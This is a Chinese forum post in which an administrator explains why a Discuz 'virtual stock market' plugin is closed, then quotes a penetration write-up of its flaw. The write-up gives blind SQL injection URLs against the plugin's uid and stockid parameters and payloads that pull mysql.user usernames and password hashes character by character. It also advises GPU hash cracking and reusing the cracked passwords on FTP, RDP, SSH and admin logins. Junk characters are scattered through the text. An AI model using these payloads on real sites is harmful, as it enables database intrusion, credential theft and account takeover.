TA的每日心情 | 奋斗 前天 11:28 |
---|
签到天数: 2388 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。8 v" L$ I$ `; j* E9 B5 W
( V6 N; C8 V, B5 U. N+ q1 D
我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。! d* v5 \2 i, g% X
0 L8 Y/ g: z" @3 r" x" H漏洞如下:
1 L' U# T) J; w8 k/ G$ `: `7 D6 P* H- w: T" m
Discuz插件《虚拟股市》blind Injection Vul利用 9 Y9 I. |/ T% C9 T
% P. y; a3 Q: H4 a
* s% h5 b# H4 \0 h
漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。 ( I. y# z& L3 g- z- K7 \
经过简单的测试,就发现了《虚拟股市》存在注射漏洞: + @# g4 ^) L; P! R9 f! {
http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数
- t2 l4 E8 @% S6 Y' d# xhttp://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数
9 S8 a: `) Z E% J y: E: A! F确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。 4 s G" f( T# _( A7 f& ?/ E9 m
思路有二: ( x& z& w7 R, \8 L$ `
1.尝试盲注 + ^ y. [2 q7 {- |: o# A# X) b
2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数
/ m$ q" A1 S' _% ^但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。
0 k4 `2 n! V$ w4 _9 H. Z, n/ F; R盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下: ; I' p, c* y. d w: N2 X
#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4
( k9 u; Q- Y6 w* U. v I" C0 V" M/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5 , a$ J8 T! e7 O" K d) e J" J+ t! @/ j
#是否支持子查询(版本为4的情况下)
! \1 x3 q9 Q2 d. y( O/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1 3 g O1 a& g" R( U
#当前用户是否为root # _4 [9 l6 [1 I4 H7 ?
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1
$ }7 a; u R# }! w# o下面就根据情况而异了: ]6 h* c$ |% {0 k* q! u2 B) R
1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。 . y( Y. C4 p! }3 C | g/ E
2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。
+ T7 d, i' U# P2 S. @#######取数据
+ T; l0 g0 H8 E' b, X#mysql.user表第一行第一个字符的ASCII值是否大于80
& h. T) |& s3 \: Y$ ]6 j. Uand ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80
* b. p% ~4 ?+ e& w3 d( G5 U" q/ b#第二个字符的ASCII值是否大于90 7 X2 `7 _2 _4 d# w& }5 C& b
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90
) ?" t. h( V6 ]- X# z…………
& J3 p" h9 J5 N; r; v* O, t7 ]就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。 ( h3 u/ r0 ]' `& g! [
密码破解: / G* a5 C: A# h T+ C& K# ^
1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。
9 d0 H( h2 ]) A) Q2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|